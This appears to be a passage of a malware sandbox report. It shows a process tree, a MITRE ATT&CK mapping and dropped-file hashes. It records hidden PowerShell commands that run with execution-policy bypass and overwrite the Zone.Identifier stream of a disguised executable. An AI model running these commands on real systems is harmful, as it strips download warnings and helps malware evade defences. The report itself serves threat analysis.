  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:6864
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe:Zone.Identifier 2>nul"
    3⤵
    PID:4564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()
  2⤵
  PID:2132

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5968

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1432

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5556

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:6208

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:7068

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:6988

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

WindowsMediaCfg.exe:Zone.Identifier

Path C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe:Zone.Identifier
Size 13B
SHA256 12f99f53144294750fe8713d580eda286f4bd95cd9c840db8ab957def8040028
MD5 38de427224a5082a04fe82e2bd4ea9ec
SHA1 7e4a53de1f83762dd2febd39b818e2258bc83bc1
SHA512 ec3f3c324eeaad91ab0efd47b3084493d863f969344fa1ba87ace1974908053d396673b44c33b4dceeef792a74ad9278e06acc27c83459af1153de52f83afcbf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 352dc95c11f3c519ea4763db51ee77c55abdad25b28318596029ac231102bbb4
MD5 c60a342338eaf410c641a6f0a4c13120
SHA1 0a52ebb51b974183ed435cbe30a8b047b1a5e131
SHA512 4ddce3be3506e250e819778dfd48d3daf3256fbb1bf9b9a0017f5664e955df1ac0d002207d98aa7b2f3e6888d61b6d01fe33d899e050e88b40674ed2ccaef5b2
TLSH
T1EC41E668B6F91148F3B76F569FF7A8AE447A7D772E0684AD10110D4E0A23B01C9A1737
MD5 SHA1 SHA512 TLSH

Submit Download